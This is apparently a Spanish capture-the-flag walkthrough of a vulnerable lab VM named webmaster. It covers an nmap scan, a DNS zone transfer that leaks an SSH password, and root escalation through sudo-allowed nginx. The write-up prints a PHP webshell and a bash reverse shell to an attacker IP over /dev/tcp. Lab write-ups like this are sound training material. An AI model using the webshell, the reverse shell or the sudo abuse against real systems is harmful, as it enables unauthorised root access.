Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.131
❯ nmap -sCV -p22,53,80 -oN 02-targeted.txt 192.168.1.131
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-02 22:38 -04
Nmap scan report for 192.168.1.131
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp open domain (unknown banner: not currently available)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.38 secondsEl meme del sitio indica que la contraseña está en un registro TXT, y el código revela el dominio:
<!--webmaster.hmv-->Lo agregamos al /etc/hosts y solicitamos una transferencia de zona con dig, que filtra una contraseña en un registro TXT:
❯ dig axfr @192.168.1.131 webmaster.hmv
...
john.webmaster.hmv. 604800 IN TXT "Myhiddenpazzword"
...Nos conectamos por SSH como john:
❯ ssh john@192.168.1.131
john@192.168.1.131's password: Myhiddenpazzword
john@webmaster:~$Obtenemos la primera flag. Revisamos sudo -l:
john@webmaster:~$ sudo -l
...
User john may run the following commands on webmaster:
(ALL : ALL) NOPASSWD: /usr/sbin/nginxPodemos ejecutar nginx como root. Como el DocumentRoot es escribible, colocamos una webshell PHP; al servirse con el nginx que corre como root, obtenemos RCE privilegiado:
john@webmaster:/var/www/html$ cat pwned.php
<?php system($_GET['cmd']);?>
❯ curl 'http://webmaster.hmv/pwned.php?cmd=id'
uid=0(root) gid=0(root) groups=0(root)Lanzamos una reverse shell:
webmaster.hmv/pwned.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.3/1234 0>%261"
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.131:49040.
bash: cannot set terminal process group (374): Inappropriate ioctl for device
bash: no job control in this shell
root@webmaster:/var/www/html#Obtenemos nuestra flag.
Fin.